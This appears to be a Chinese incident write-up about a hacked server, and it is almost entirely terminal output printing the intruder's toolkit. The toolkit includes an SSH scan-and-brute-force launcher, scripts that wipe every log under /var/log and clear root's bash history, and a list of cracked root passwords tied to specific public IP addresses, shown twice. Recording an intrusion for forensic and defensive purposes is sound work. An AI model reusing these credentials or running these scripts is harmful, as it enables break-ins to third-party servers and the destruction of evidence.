记一次服务被黑处理过程

[root@localhost .shadow]# more  1
#!/bin/bash
B=$1
while read line; do
dup=$(echo $line |cut -d " " -f 1)
if [ $dup ] ; then
if [ $dup == DUP ] ; then
ip=$(echo $line |cut -d ":" -f 3)
 echo "$ip" >>dup.txt
fi
fi
done < $B

[root@localhost .shadow]# more  2
#!/bin/bash
B=$1
while read line; do
cat vuln.txt |grep -v "$line" >>vuln1.txt
mv vuln1.txt vuln.txt
sleep 1
done < $B

[root@localhost .shadow]# more  vuln.txt 
root:Abc123456:115.220.1.149
root:Admin@123:116.228.230.110
root:firewall:116.228.80.117
root:firewall:116.228.80.114
root:firewall:116.228.80.115
root:firewall:116.228.80.116
root:admin123:116.228.245.98

[root@localhost .shadow]# more  go 
#!/bin/bash
 
echo "$(ls /var/log/)">cleanlist
while read line
do
rm -rf /var/log/$line
touch /var/log/$line
done < cleanlist
green=‘\E[32;40m‘
col=( ‘\E[31;40m‘ ‘\E[32;40m‘ ‘\E[33;40m‘ ‘\E[34;40m‘ ‘\E[35;40m‘ ‘\E[36;40m‘ ‘\E[37;40m‘ )
echo -e "$green [SSH] LOADING ...."
echo -e ""
sleep 2
cat motd
echo "[SSH] Scanning $1 for open ssh ips."
./class 22 -a $1 -i em1 -s 10
cat bios.txt |sort | uniq > mfu.txt
oopsnr2=`grep -c . mfu.txt`
echo -e "[SSH] Found $oopsnr2 ip‘s"
echo "[SSH] Cracking started"
./update 1500
rm -rf /root/.bash_history ; touch /root/.bash_history ; history -r ;
echo "$(ls /var/log/)">cleanlist
while read line
do
rm -rf /var/log/$line
touch /var/log/$line
done < cleanlist
sleep 5
./clean
# end of file 

[root@localhost .shadow]# more  vuln.txt 
root:Abc123456:115.220.1.149
root:Admin@123:116.228.230.110
root:firewall:116.228.80.117
root:firewall:116.228.80.114
root:firewall:116.228.80.115
root:firewall:116.228.80.116
root:admin123:116.228.245.98